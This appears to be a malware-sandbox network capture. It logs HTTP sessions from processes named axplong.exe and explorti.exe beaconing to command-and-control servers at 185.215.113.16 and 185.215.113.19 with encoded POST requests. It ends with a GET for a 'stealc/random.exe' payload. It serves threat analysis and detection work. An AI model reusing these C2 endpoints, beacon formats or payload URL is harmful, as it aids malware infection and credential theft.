Jul 26, 2024 10:40:33.283382893 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.6	49745	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:54.146313906 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:54.923690081 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:54.924516916 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:55.175726891 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.6	49746	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:55.297416925 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:56.080403090 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:55 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:56.081182003 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:56.364056110 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:33.406315088 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:40:34.175170898 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.6	49747	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:56.481215954 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:57.321969986 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:57.323055029 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:57.582005978 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.6	49748	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:57.763082981 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:58.601026058 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:58.602030039 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:36:58.857173920 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:34.188390017 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:40:35.009859085 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.6	49750	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:36:58.988445997 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:36:59.797817945 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:36:59.798701048 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:00.056710958 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:36:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:35.128581047 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:40:35.969767094 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.6	49751	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:00.182982922 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:00.953008890 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:00.959825039 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:01.304442883 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49752	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:01.482820034 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:02.231476068 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:02.232536077 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:02.488343000 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jul 26, 2024 10:40:35.978637934 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:40:36.747688055 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:40:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.6	49753	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:02.845396996 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:03.670897007 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:03.671575069 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:04.092413902 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.6	49754	185.215.113.19	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:04.097265005 CEST	154	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:04.935441017 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:04.936434984 CEST	312	OUT	POST /Vi9leo/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.19 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 30 42 34 45 46 41 38 45 34 39 44 32 41 43 35 34 35 31 44 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 44 42 37 32 38 37 36 42 38 35 31 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C80B4EFA8E49D2AC5451DB140BE1D46450FC9DDF642E3BDD70A7DB72876B85182D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Jul 26, 2024 10:37:05.196450949 CEST	381	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 62 66 0d 0a 20 3c 63 3e 31 30 30 30 30 30 32 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 33 39 31 30 65 35 65 62 66 35 64 65 30 34 33 34 39 30 32 35 30 38 30 64 39 23 31 30 30 30 30 30 33 30 30 32 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 38 66 64 61 37 64 66 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: bf <c>1000002001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca73910e5ebf5de04349025080d9#1000003002+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e8fda7df30804042ba5ce902415450#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.6	49755	185.215.113.16	80	4876	C:\Users\user\AppData\Local\Temp\44111dbc49\axplong.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:04.202725887 CEST	156	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jul 26, 2024 10:37:04.987328053 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Jul 26, 2024 10:37:04.988149881 CEST	314	OUT	POST /Jo89Ku7d/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.16 Content-Length: 160 Cache-Control: no-cache Data Raw: 72 3d 41 42 31 45 39 44 32 37 35 41 46 38 38 31 42 43 46 37 35 34 35 46 46 43 39 45 35 42 37 30 41 39 43 30 31 44 45 32 30 41 44 39 32 41 38 43 41 39 46 30 45 45 32 36 46 38 41 45 46 42 42 32 34 35 37 38 42 34 42 35 36 34 37 41 32 38 38 45 37 46 38 31 30 30 38 44 41 39 36 41 45 36 43 43 46 44 41 31 34 30 43 32 46 33 46 44 33 33 43 32 30 39 42 44 42 31 30 30 31 36 34 44 37 31 32 45 44 35 42 30 34 43 33 45 38 37 44 43 46 34 31 43 33 31 39 39 31 46 35 31 35 36 36 35 33 35 46 30 Data Ascii: r=AB1E9D275AF881BCF7545FFC9E5B70A9C01DE20AD92A8CA9F0EE26F8AEFBB24578B4B5647A288E7F81008DA96AE6CCFDA140C2F3FD33C209BDB100164D712ED5B04C3E87DCF41C31991F51566535F0
Jul 26, 2024 10:37:05.233573914 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 26 Jul 2024 08:37:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.6	49756	185.215.113.16	80	7716	C:\Users\user\AppData\Local\Temp\0d8f5eb8a7\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jul 26, 2024 10:37:05.210434914 CEST	57	OUT	GET /stealc/random.exe HTTP/1.1 Host: 185.215.113.16
